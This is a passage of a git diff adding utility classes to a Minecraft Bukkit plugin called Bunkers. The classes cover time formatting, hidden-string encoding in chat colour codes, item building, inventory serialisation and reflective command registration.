public static final ZoneId SERVER_ZONE_ID = SERVER_TIME_ZONE.toZoneId(); + public static final FastDateFormat DAY_MTH_HR_MIN_SECS = FastDateFormat.getInstance("dd/MM HH:mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_YR_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM/yy hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat DAY_MTH_HR_MIN_AMPM = FastDateFormat.getInstance("dd/MM hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM = FastDateFormat.getInstance("hh:mma", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN_AMPM_TIMEZONE = FastDateFormat.getInstance("hh:mma z", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat HR_MIN = FastDateFormat.getInstance("hh:mm", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat MIN_SECS = FastDateFormat.getInstance("mm:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + public static final FastDateFormat KOTH_FORMAT = FastDateFormat.getInstance("m:ss", SERVER_TIME_ZONE, Locale.ENGLISH); + public static final FastDateFormat CONQUEST_FORMAT = FastDateFormat.getInstance("ss", SERVER_TIME_ZONE, Locale.ENGLISH); + + // The format used to show one decimal without a trailing zero. + public static final ThreadLocal REMAINING_SECONDS = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.#"); + } + }; + + public static final ThreadLocal REMAINING_SECONDS_TRAILING = new ThreadLocal() { + @Override + protected DecimalFormat initialValue() { + return new DecimalFormat("0.0"); + } + }; +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/DurationFormatter.java b/Bunkers/src/main/java/me/redis/bunkers/utils/DurationFormatter.java new file mode 100644 index 0000000..fd0b739 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/DurationFormatter.java @@ -0,0 +1,26 @@ +package me.redis.bunkers.utils; + +import org.apache.commons.lang.time.DurationFormatUtils; + +import java.util.concurrent.TimeUnit; + +public class DurationFormatter { + private static final long MINUTE; + private static final long HOUR; + + public static String getRemaining(final long millis, final boolean milliseconds) { + return getRemaining(millis, milliseconds, true); + } + + public static String getRemaining(final long duration, final boolean milliseconds, final boolean trail) { + if (milliseconds && duration < DurationFormatter.MINUTE) { + return (trail ? DateTimeFormats.REMAINING_SECONDS_TRAILING : DateTimeFormats.REMAINING_SECONDS).get().format(duration * 0.001) + 's'; + } + return DurationFormatUtils.formatDuration(duration, ((duration >= DurationFormatter.HOUR) ? "HH:" : "") + "mm:ss"); + } + + static { + MINUTE = TimeUnit.MINUTES.toMillis(1L); + HOUR = TimeUnit.HOURS.toMillis(1L); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/EncoderDecoder.java b/Bunkers/src/main/java/me/redis/bunkers/utils/EncoderDecoder.java new file mode 100644 index 0000000..7f67090 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/EncoderDecoder.java @@ -0,0 +1,7 @@ +package me.redis.bunkers.utils; + +public class EncoderDecoder { + public static String decode(String encoded) { + return encoded.replace("$|$", ""); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/HiddenStringUtil.java b/Bunkers/src/main/java/me/redis/bunkers/utils/HiddenStringUtil.java new file mode 100644 index 0000000..92c8410 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/HiddenStringUtil.java @@ -0,0 +1,127 @@ +package me.redis.bunkers.utils; + +import org.bukkit.ChatColor; + +import java.nio.charset.Charset; + +public class HiddenStringUtil { + + private static String SEQUENCE_HEADER = "" + ChatColor.RESET + ChatColor.UNDERLINE + ChatColor.RESET; + private static String SEQUENCE_FOOTER = "" + ChatColor.RESET + ChatColor.ITALIC + ChatColor.RESET; + + + public static String encodeString(String hiddenString) { + return quote(stringToColors(hiddenString)); + } + + public static boolean hasHiddenString(String input) { + if (input == null) return false; + + return input.indexOf(SEQUENCE_HEADER) > -1 && input.indexOf(SEQUENCE_FOOTER) > -1; + } + + public static String extractHiddenString(String input) { + return colorsToString(extract(input)); + } + + + public static String replaceHiddenString(String input, String hiddenString) { + if (input == null) return null; + + int start = input.indexOf(SEQUENCE_HEADER); + int end = input.indexOf(SEQUENCE_FOOTER); + + if (start < 0 || end < 0) { + return null; + } + + return input.substring(0, start + SEQUENCE_HEADER.length()) + stringToColors(hiddenString) + input.substring(end, input.length()); + } + + /** + * Internal stuff. + */ + private static String quote(String input) { + if (input == null) return null; + return SEQUENCE_HEADER + input + SEQUENCE_FOOTER; + } + + private static String extract(String input) { + if (input == null) return null; + + int start = input.indexOf(SEQUENCE_HEADER); + int end = input.indexOf(SEQUENCE_FOOTER); + + if (start < 0 || end < 0) { + return null; + } + + return input.substring(start + SEQUENCE_HEADER.length(), end); + } + + private static String stringToColors(String normal) { + if (normal == null) return null; + + byte[] bytes = normal.getBytes(Charset.forName("UTF-8")); + char[] chars = new char[bytes.length * 4]; + + for (int i = 0; i < bytes.length; i++) { + char[] hex = byteToHex(bytes[i]); + chars[i * 4] = ChatColor.COLOR_CHAR; + chars[i * 4 + 1] = hex[0]; + chars[i * 4 + 2] = ChatColor.COLOR_CHAR; + chars[i * 4 + 3] = hex[1]; + } + + return new String(chars); + } + + private static String colorsToString(String colors) { + if (colors == null) return null; + + colors = colors.toLowerCase().replace("" + ChatColor.COLOR_CHAR, ""); + + if (colors.length() % 2 != 0) { + colors = colors.substring(0, (colors.length() / 2) * 2); + } + + char[] chars = colors.toCharArray(); + byte[] bytes = new byte[chars.length / 2]; + + for (int i = 0; i < chars.length; i += 2) { + bytes[i / 2] = hexToByte(chars[i], chars[i + 1]); + } + + return new String(bytes, Charset.forName("UTF-8")); + } + + private static int hexToUnsignedInt(char c) { + if (c >= '0' && c <= '9') { + return c - 48; + } else if (c >= 'a' && c <= 'f') { + return c - 87; + } else { + throw new IllegalArgumentException("Invalid hex char: out of range"); + } + } + + private static char unsignedIntToHex(int i) { + if (i >= 0 && i <= 9) { + return (char) (i + 48); + } else if (i >= 10 && i <= 15) { + return (char) (i + 87); + } else { + throw new IllegalArgumentException("Invalid hex int: out of range"); + } + } + + private static byte hexToByte(char hex1, char hex0) { + return (byte) (((hexToUnsignedInt(hex1) << 4) | hexToUnsignedInt(hex0)) + Byte.MIN_VALUE); + } + + private static char[] byteToHex(byte b) { + int unsignedByte = (int) b - Byte.MIN_VALUE; + return new char[]{unsignedIntToHex((unsignedByte >> 4) & 0xf), unsignedIntToHex(unsignedByte & 0xf)}; + } + +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/ItemBuilder.java b/Bunkers/src/main/java/me/redis/bunkers/utils/ItemBuilder.java new file mode 100644 index 0000000..b0bf3e3 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/ItemBuilder.java @@ -0,0 +1,151 @@ +package me.redis.bunkers.utils; + +import com.google.common.base.Preconditions; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.meta.ItemMeta; +import org.bukkit.inventory.meta.PotionMeta; +import org.bukkit.inventory.meta.SkullMeta; +import org.bukkit.material.MaterialData; +import org.bukkit.potion.PotionEffect; + +import java.util.ArrayList; +import java.util.List; + +public class ItemBuilder { + + private final ItemStack itemStack; + + public ItemBuilder(ItemStack itemStack) { + this.itemStack = Preconditions.checkNotNull(itemStack, "ItemStack cannot be null").clone(); + } + + public ItemBuilder(Material material) { + this(material, 1); + } + + public ItemBuilder(Material material, int amount) { + this(material, amount, (short) 0); + } + + public ItemBuilder(Material material, int amount, short damage) { + this(new ItemStack(material, amount, damage)); + } + + public ItemBuilder setType(Material material) { + itemStack.setType(material); + return this; + } + + public ItemBuilder setAmount(int amount) { + itemStack.setAmount(amount); + return this; + } + + public ItemBuilder setDurability(int durability) { + itemStack.setDurability((short) durability); + return this; + } + + public ItemBuilder setData(int data) { + itemStack.setData(new MaterialData(itemStack.getType(), (byte) data)); + return this; + } + + public ItemBuilder addEnchantment(Enchantment enchantment) { + addEnchantment(enchantment, 1); + return this; + } + + public ItemBuilder addEnchantment(Enchantment enchantment, int level) { + itemStack.addUnsafeEnchantment(enchantment, level); + return this; + } + + public ItemBuilder removeEnchantment(Enchantment enchantment) { + itemStack.removeEnchantment(enchantment); + return this; + } + + public ItemBuilder clearEnchantments() { + for (Enchantment enchantment : itemStack.getEnchantments().keySet()) { + itemStack.removeEnchantment(enchantment); + } + return this; + } + + public ItemBuilder setUnbreakable(boolean unbreakable) { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.spigot().setUnbreakable(unbreakable); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setDisplayName(String name) { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.setDisplayName(ChatColor.translateAlternateColorCodes('&', name)); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder addLore(String lore) { + ItemMeta itemMeta = itemStack.getItemMeta(); + + List lores = itemMeta.getLore(); + if (lores == null) { + lores = new ArrayList<>(); + } + lores.add(ChatColor.translateAlternateColorCodes('&', lore)); + + itemMeta.setLore(lores); + + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setLore(String... lores) { + clearLore(); + for (String lore : lores) { + addLore(lore); + } + return this; + } + + public ItemBuilder clearLore() { + ItemMeta itemMeta = itemStack.getItemMeta(); + itemMeta.setLore(new ArrayList<>()); + itemStack.setItemMeta(itemMeta); + return this; + } + + public ItemBuilder setPotionEffect(PotionEffect effect) { + PotionMeta potionMeta = (PotionMeta) itemStack.getItemMeta(); + potionMeta.setMainEffect(effect.getType()); + potionMeta.addCustomEffect(effect, false); + itemStack.setItemMeta(potionMeta); + return this; + } + + public ItemBuilder setPotionEffects(PotionEffect... effects) { + PotionMeta potionMeta = (PotionMeta) itemStack.getItemMeta(); + potionMeta.setMainEffect(effects[0].getType()); + for (PotionEffect effect : effects) { + potionMeta.addCustomEffect(effect, false); + } + itemStack.setItemMeta(potionMeta); + return this; + } + + public ItemBuilder setSkullOwner(String owner) { + SkullMeta skullMeta = (SkullMeta) itemStack.getItemMeta(); + skullMeta.setOwner(owner); + itemStack.setItemMeta(skullMeta); + return this; + } + + public ItemStack create() { + return itemStack; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/JavaUtils.java b/Bunkers/src/main/java/me/redis/bunkers/utils/JavaUtils.java new file mode 100644 index 0000000..815c109 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/JavaUtils.java @@ -0,0 +1,163 @@ +package me.redis.bunkers.utils; + +import com.google.common.base.CharMatcher; +import com.google.common.base.Joiner; +import com.google.common.base.Preconditions; +import org.apache.commons.lang.StringUtils; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.TimeUnit; +import java.util.regex.Pattern; + +public class JavaUtils { + + private static final CharMatcher CHAR_MATCHER_ASCII = CharMatcher.inRange('0', '9').or(CharMatcher.inRange('a', 'z')).or(CharMatcher.inRange('A', 'Z')).or(CharMatcher.WHITESPACE).precomputed(); + private static final Pattern UUID_PATTERN = Pattern.compile("[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[34][0-9a-fA-F]{3}-[89ab][0-9a-fA-F]{3}-[0-9a-fA-F]{12}"); + + public static boolean isAlphanumeric(String string) { + return CHAR_MATCHER_ASCII.matchesAllOf(string); + } + + public static boolean isUUID(String string) { + return UUID_PATTERN.matcher(string).find(); + } + + public static boolean isInteger(String s) { + try { + Integer.parseInt(s); + } catch(NumberFormatException e) { + return false; + } catch(NullPointerException e) { + return false; + } + // only got here if we didn't return false + return true; + } + + public static boolean isBoolean(String s) { + try { + Boolean.parseBoolean(s); + } catch(NumberFormatException e) { + return false; + } catch(NullPointerException e) { + return false; + } + // only got here if we didn't return false + return true; + } + + public static boolean containsIgnoreCase(Iterable elements, String string) { + for (String element : elements) { + if (StringUtils.containsIgnoreCase(element, string)) { + return true; + } + } + return false; + } + + public static String format(Number number) { + return format(number, 5); + } + + public static String format(Number number, int decimalPlaces) { + return format(number, decimalPlaces, RoundingMode.HALF_DOWN); + } + + public static String format(Number number, int decimalPlaces, RoundingMode roundingMode) { + Preconditions.checkNotNull(number, "The number cannot be null"); + return new BigDecimal(number.toString()).setScale(decimalPlaces, roundingMode).stripTrailingZeros().toPlainString(); + } + + public static String andJoin(Collection collection, boolean delimiterBeforeAnd) { + return andJoin(collection, delimiterBeforeAnd, ", "); + } + + public static String andJoin(Collection collection, boolean delimiterBeforeAnd, String delimiter) { + if (collection == null || collection.isEmpty()) { + return ""; + } + List contents = new ArrayList<>(collection); + String last = contents.remove(contents.size() - 1); + StringBuilder builder = new StringBuilder(Joiner.on(delimiter).join(contents)); + if (delimiterBeforeAnd) { + builder.append(delimiter); + } + return builder.append(" and ").append(last).toString(); + } + + public static Integer tryParseInteger(String string) { + try { + return Integer.parseInt(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Long tryParseLong(String string) { + try { + return Long.parseLong(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Float tryParseFloat(String string) { + try { + return Float.parseFloat(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static Double tryParseDouble(String string) { + try { + return Double.parseDouble(string); + } catch (IllegalArgumentException ignored) { + return null; + } + } + + public static long parseDuration(String string) { + if (string == null || string.isEmpty()) { + return -1L; + } + + long result = 0L; + StringBuilder number = new StringBuilder(); + for (int i = 0; i < string.length(); i++) { + char c = string.charAt(i); + if (Character.isDigit(c)) { + number.append(c); + } else { + String str; + if (Character.isLetter(c) && !(str = number.toString()).isEmpty()) { + result += convert(Integer.parseInt(str), c); + number = new StringBuilder(); + } + } + } + return result; + } + + private static long convert(int value, char unit) { + switch (unit) { + case 'y': + return value * TimeUnit.DAYS.toMillis(365L); + case 'M': + return value * TimeUnit.DAYS.toMillis(30L); + case 'd': + return value * TimeUnit.DAYS.toMillis(1L); + case 'h': + return value * TimeUnit.HOURS.toMillis(1L); + case 'm': + return value * TimeUnit.MINUTES.toMillis(1L); + case 's': + return value * TimeUnit.SECONDS.toMillis(1L); + } + return -1L; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/LocationUtils.java b/Bunkers/src/main/java/me/redis/bunkers/utils/LocationUtils.java new file mode 100644 index 0000000..fee4a90 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/LocationUtils.java @@ -0,0 +1,40 @@ +package me.redis.bunkers.utils; + +import org.bukkit.Bukkit; +import org.bukkit.Location; +import org.bukkit.World; + +public class LocationUtils { + public static String getString(Location loc) { + StringBuilder builder = new StringBuilder(); + + if (loc == null) return "unset"; + + builder.append(loc.getX()).append("|"); + builder.append(loc.getY()).append("|"); + builder.append(loc.getZ()).append("|"); + builder.append(loc.getWorld().getName()).append("|"); + builder.append(loc.getYaw()).append("|"); + builder.append(loc.getPitch()); + + return builder.toString(); + } + + public static Location getLocation(String s) { + if (s == null || s.equals("unset") || s.equals("")) return null; + + String[] data = s.split("\\|"); + double x = Double.parseDouble(data[0]); + double y = Double.parseDouble(data[1]); + double z = Double.parseDouble(data[2]); + World world = Bukkit.getWorld(data[3]); + Float yaw = Float.parseFloat(data[4]); + Float pitch = Float.parseFloat(data[5]); + return new Location(world, x, y, z, yaw, pitch); + } + + public static boolean isSameLocation(Location loc1, Location loc2) { + return loc1 != null && loc2 != null && loc1.equals(loc2); + } + +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/SerializationUtils.java b/Bunkers/src/main/java/me/redis/bunkers/utils/SerializationUtils.java new file mode 100644 index 0000000..46813b3 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/SerializationUtils.java @@ -0,0 +1,183 @@ +package me.redis.bunkers.utils; + +import org.bukkit.Material; +import org.bukkit.enchantments.Enchantment; +import org.bukkit.entity.Player; +import org.bukkit.inventory.ItemStack; +import org.bukkit.inventory.PlayerInventory; +import org.bukkit.inventory.meta.ItemMeta; + +import java.util.Arrays; +import java.util.List; +import java.util.Map; + +public class SerializationUtils { + public static String itemStackToString(ItemStack item) { + StringBuilder builder = new StringBuilder(); + if (item != null) { + String isType = String.valueOf(item.getType().getId()); + builder.append("t@").append(isType); + + if (item.getDurability() != 0) { + String isDurability = String.valueOf(item.getDurability()); + builder.append(":d@").append(isDurability); + } + + if (item.getAmount() != 1) { + String isAmount = String.valueOf(item.getAmount()); + builder.append(":a@").append(isAmount); + } + + Map isEnch = (Map) item.getEnchantments(); + if (isEnch.size() > 0) { + for (Map.Entry ench : isEnch.entrySet()) { + builder.append(":e@").append(ench.getKey().getId()).append("@").append(ench.getValue()); + } + } + + if (item.hasItemMeta()) { + ItemMeta imeta = item.getItemMeta(); + if (imeta.hasDisplayName()) { + builder.append(":dn@").append(imeta.getDisplayName()); + } + if (imeta.hasLore()) { + builder.append(":l@").append(imeta.getLore()); + } + } + } + + return builder.toString(); + } + + public static ItemStack itemStackFromString(String in) { + ItemStack item = null; + ItemMeta meta = null; + String[] split; + + if (in.equals("null")) { + return new ItemStack(Material.AIR); + } + + String[] data = split = in.split(":"); + for (String itemInfo : split) { + String[] itemAttribute = itemInfo.split("@"); + String s2 = itemAttribute[0]; + switch (s2) { + case "t": { + item = new ItemStack(Material.getMaterial((int) Integer.valueOf(itemAttribute[1]))); + meta = item.getItemMeta(); + break; + } + case "d": { + if (item != null) { + item.setDurability((short) Short.valueOf(itemAttribute[1])); + break; + } + break; + } + case "a": { + if (item != null) { + item.setAmount((int) Integer.valueOf(itemAttribute[1])); + break; + } + break; + } + case "e": { + if (item != null) { + item.addEnchantment(Enchantment.getById((int) Integer.valueOf(itemAttribute[1])), + (int) Integer.valueOf(itemAttribute[2])); + break; + } + break; + } + case "dn": { + if (meta != null) { + meta.setDisplayName(itemAttribute[1]); + break; + } + break; + } + case "l": { + itemAttribute[1] = itemAttribute[1].replace("[", ""); + itemAttribute[1] = itemAttribute[1].replace("]", ""); + List lore = Arrays.asList(itemAttribute[1].split(",")); + for (int x = 0; x < lore.size(); ++x) { + String s = lore.get(x); + if (s != null) { + if (s.toCharArray().length != 0) { + if (s.charAt(0) == ' ') { + s = s.replaceFirst(" ", ""); + } + lore.set(x, s); + } + } + } + if (meta != null) { + meta.setLore(lore); + break; + } + break; + } + } + } + if (meta != null && (meta.hasDisplayName() || meta.hasLore())) { + item.setItemMeta(meta); + } + return item; + } + + public static String playerInventoryToString(PlayerInventory inv) { + StringBuilder builder = new StringBuilder(); + ItemStack[] armor = inv.getArmorContents(); + + for (int i = 0; i < armor.length; i++) { + if (i == 3) { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))); + } else { + builder.append(itemStackToString(armor[3])); + } + } else { + if (armor[i] == null) { + builder.append(itemStackToString(new ItemStack(Material.AIR))).append(";"); + } else { + builder.append(itemStackToString(armor[i])).append(";"); + } + } + } + + builder.append("|"); + + for (int i = 0; i < inv.getContents().length; ++i) { + builder.append(i).append("#").append(itemStackToString(inv.getContents()[i])) + .append((i == inv.getContents().length - 1) ? "" : ";"); + } + + return builder.toString(); + } + + public static void playerInventoryFromString(String in, Player player) { + if (in == null || in.equals("unset") || in.equals("null") || in.equals("'null'")) return; + + String[] data = in.split("\\|"); + ItemStack[] armor = new ItemStack[data[0].split(";").length]; + + + for (int i = 0; i < data[0].split(";").length; ++i) { + armor[i] = itemStackFromString(data[0].split(";")[i]); + } + + player.getInventory().setArmorContents(armor); + ItemStack[] contents = new ItemStack[data[1].split(";").length]; + for (String s : data[1].split(";")) { + int slot = Integer.parseInt(s.split("#")[0]); + if (s.split("#").length == 1) { + contents[slot] = null; + } else { + contents[slot] = itemStackFromString(s.split("#")[1]); + } + } + + player.getInventory().setContents(contents); + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/TimeUtil.java b/Bunkers/src/main/java/me/redis/bunkers/utils/TimeUtil.java new file mode 100644 index 0000000..a9f29cb --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/TimeUtil.java @@ -0,0 +1,86 @@ +package me.redis.bunkers.utils; + +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import java.util.concurrent.TimeUnit; + +public class TimeUtil { + + private static DateFormat MATCH_DATE_FORMAT = new SimpleDateFormat("mm:ss"); + + private static int adjustTime(long timestamp, TimeUnit from, TimeUnit to) { + return (int) to.convert(timestamp, from); + } + + public static String formatElapsingNanoseconds(long timestamp) { + timestamp = System.nanoTime() - timestamp; + + Calendar cal = Calendar.getInstance(); + + cal.set(Calendar.SECOND, adjustTime(timestamp, TimeUnit.NANOSECONDS, TimeUnit.SECONDS)); + timestamp -= TimeUnit.SECONDS.toNanos(TimeUnit.NANOSECONDS.toSeconds(timestamp)); + + cal.set(Calendar.MINUTE, adjustTime(timestamp, TimeUnit.NANOSECONDS, TimeUnit.MINUTES)); + timestamp -= TimeUnit.MINUTES.toNanos(TimeUnit.NANOSECONDS.toMinutes(timestamp)); + + cal.set(Calendar.HOUR_OF_DAY, adjustTime(timestamp, TimeUnit.NANOSECONDS, TimeUnit.HOURS)); + + return MATCH_DATE_FORMAT.format(cal.getTime()); + } + + public static String formatSeconds(int seconds) { + int minutes = seconds / 60; + + if (minutes == 0) { + return seconds + " seconds"; + } + + seconds %= 60; + + return minutes + " minutes and " + seconds + " seconds"; + } + + public static long parseDuration(String string) { + if (string == null || string.isEmpty()) { + return -1L; + } + + long result = 0L; + StringBuilder number = new StringBuilder(); + + for (int i = 0; i < string.length(); i++) { + char c = string.charAt(i); + if (Character.isDigit(c)) { + number.append(c); + } else { + String str; + if (Character.isLetter(c) && !(str = number.toString()).isEmpty()) { + result += convert(Integer.parseInt(str), c); + number = new StringBuilder(); + } + } + } + + return result; + } + + private static long convert(int value, char unit) { + switch (unit) { + case 'y': + return value * TimeUnit.DAYS.toMillis(365L); + case 'M': + return value * TimeUnit.DAYS.toMillis(30L); + case 'd': + return value * TimeUnit.DAYS.toMillis(1L); + case 'h': + return value * TimeUnit.HOURS.toMillis(1L); + case 'm': + return value * TimeUnit.MINUTES.toMillis(1L); + case 's': + return value * TimeUnit.SECONDS.toMillis(1L); + } + + return -1L; + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandArgument.java b/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandArgument.java new file mode 100644 index 0000000..d987390 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandArgument.java @@ -0,0 +1,50 @@ +package me.redis.bunkers.utils.command; + +import lombok.Getter; +import lombok.Setter; +import org.apache.commons.lang.ArrayUtils; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.command.PluginCommand; + +import java.util.Arrays; +import java.util.Collections; +import java.util.List; + +@Getter +public abstract class CommandArgument { + + private String name; + private String description; + + @Setter private boolean requiresPermission; + + private String[] aliases; + + public CommandArgument(String name) { + this(name, null); + } + + public CommandArgument(String name, String description) { + this(name, description, ArrayUtils.EMPTY_STRING_ARRAY); + } + + public CommandArgument(String name, String description, String... aliases) { + this.name = name; + this.description = description; + + this.aliases = Arrays.copyOf(aliases, aliases.length); + } + + public String getPermission(PluginCommand command) { + return requiresPermission ? (command.getPermission() == null ? command.getPlugin().getName() + ".command." + command.getName() + ".argument." + name : command.getPermission() + ".argument." + name) : null; + } + + public abstract String getUsage(String label); + + public abstract boolean onCommand(CommandSender sender , Command command, String label, String[] args); + + public List onTabComplete(CommandSender sender, Command command, String label, String[] args) { + return Collections.emptyList(); + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandRegistrer.java b/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandRegistrer.java new file mode 100644 index 0000000..9e40529 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/command/CommandRegistrer.java @@ -0,0 +1,80 @@ +package me.redis.bunkers.utils.command; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.information.commands.InformationCommand; +import me.redis.bunkers.team.commands.TeamCommand; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.CommandMap; +import org.bukkit.command.PluginCommand; +import org.bukkit.plugin.Plugin; +import org.bukkit.plugin.SimplePluginManager; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Arrays; + +public class CommandRegistrer { + private CommandMap commandMap; + + public CommandRegistrer() { + registerCommand(new TeamCommand(), Bunkers.getPlugin(), false); + registerCommand(new InformationCommand(), Bunkers.getPlugin(), true); + } + + public CommandMap getCommandMap() { + if (commandMap != null) { + return commandMap; + } + + try { + Field field = SimplePluginManager.class.getDeclaredField("commandMap"); + field.setAccessible(true); + + commandMap = (CommandMap) field.get(Bukkit.getPluginManager()); + } catch (Exception exception) { + exception.printStackTrace(); + } + + return commandMap; + } + + public PluginCommand getCommand(String name, Plugin owner) { + PluginCommand command = null; + + try { + Constructor constructor = PluginCommand.class.getDeclaredConstructor(String.class, Plugin.class); + constructor.setAccessible(true); + + command = constructor.newInstance(name, owner); + } catch (Exception exception) { + exception.printStackTrace(); + } + + return command; + } + + public void registerCommand(ExecutableCommand executableCommand, Plugin owner, boolean requiresPermission) { + PluginCommand command = getCommand(executableCommand.getName(), owner); + + command.setPermissionMessage(ChatColor.RED + "You do not have permission to execute this command."); + + if (requiresPermission) { + command.setPermission((owner.getName() + ".command." + executableCommand.getName()).toLowerCase()); + } + + if (executableCommand.getDescription() != null) { + command.setDescription(executableCommand.getDescription()); + } + + command.setAliases(Arrays.asList(executableCommand.getAliases())); + + command.setExecutor(executableCommand); + command.setTabCompleter(executableCommand); + + if (!getCommandMap().register(executableCommand.getName(), command)) { + command.unregister(getCommandMap()); + getCommandMap().register(executableCommand.getName(), command); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/command/ExecutableCommand.java b/Bunkers/src/main/java/me/redis/bunkers/utils/command/ExecutableCommand.java new file mode 100644 index 0000000..60c57d7 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/command/ExecutableCommand.java @@ -0,0 +1,133 @@ +package me.redis.bunkers.utils.command; + +import com.google.common.collect.ImmutableList; +import lombok.Getter; +import me.redis.bunkers.utils.BukkitUtils; +import net.md_5.bungee.api.chat.ComponentBuilder; +import net.md_5.bungee.api.chat.HoverEvent; +import net.md_5.bungee.api.chat.TextComponent; +import org.apache.commons.lang.ArrayUtils; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.*; +import org.bukkit.entity.Player; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; + +@Getter +public abstract class ExecutableCommand implements CommandExecutor, TabCompleter { + + private final String name; + + private String description; + + private String[] aliases; + + private final List arguments = new ArrayList<>(); + + public ExecutableCommand(String name) { + this(name, null); + } + + public ExecutableCommand(String name, String description) { + this(name, description, ArrayUtils.EMPTY_STRING_ARRAY); + } + + public ExecutableCommand(String name, String description, String... aliases) { + this.name = name; + this.description = description; + + this.aliases = Arrays.copyOf(aliases, aliases.length); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (args.length == 0) { + sender.sendMessage(ChatColor.RED + "Available sub-command(s) for '" + label + "' are " + ChatColor.GRAY + + arguments.stream().filter(argument -> { + String permission = argument.getPermission((PluginCommand) command); + + return permission == null || sender.hasPermission(permission); + } + ).map(CommandArgument::getName).collect(Collectors.joining(ChatColor.GRAY + ", ")) + ChatColor.RED + "."); + sender.sendMessage(ChatColor.RED + "You must specify a sub-command."); + return true; + } + + CommandArgument argument = getArgument(args[0]); + String permission = argument == null ? null : argument.getPermission((PluginCommand) command); + if (argument == null || permission != null && !sender.hasPermission(permission)) { + sender.sendMessage(ChatColor.RED + WordUtils.capitalizeFully(name) + " sub-command '" + args[0] + "' not found."); + } else { + argument.onCommand(sender, command, label, args); + } + + return true; + } + + @Override + public List onTabComplete(CommandSender sender, Command command, String label, String[] args) { + List results = new ArrayList<>(); + if (args.length < 2) { + for (CommandArgument argument : arguments) { + String permission = argument.getPermission((PluginCommand) command); + if (permission == null || sender.hasPermission(permission)) { + results.add(argument.getName()); + } + } + + if (results.isEmpty()) { + return null; + } + } else { + CommandArgument argument = getArgument(args[0]); + if (argument == null) { + return results; + } + + String permission = argument.getPermission((PluginCommand) command); + if (permission == null || sender.hasPermission(permission)) { + results = argument.onTabComplete(sender, command, label, args); + + if (results == null) { + return null; + } + } + } + + return BukkitUtils.getCompletions(args, results); + } + + public List getArguments() { + return ImmutableList.copyOf(arguments); + } + + public void addArgument(CommandArgument argument) { + arguments.add(argument); + } + + public void removeArgument(CommandArgument argument) { + arguments.remove(argument); + } + + public CommandArgument getArgument(String name) { + return arguments.stream().filter(argument -> argument.getName().equalsIgnoreCase(name) || Arrays.asList(argument.getAliases()).contains(name.toLowerCase())).findFirst().orElse(null); + } + + public void sendUsage(CommandSender sender, String usage) { + ComponentBuilder builder = new ComponentBuilder("Usage: /" + usage); + builder.color(net.md_5.bungee.api.ChatColor.RED); + if (description != null && !description.isEmpty()) { + builder.event(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder(description).color(net.md_5.bungee.api.ChatColor.YELLOW).create())); + } + + if (sender instanceof Player) { + ((Player) sender).spigot().sendMessage(builder.create()); + } else { + 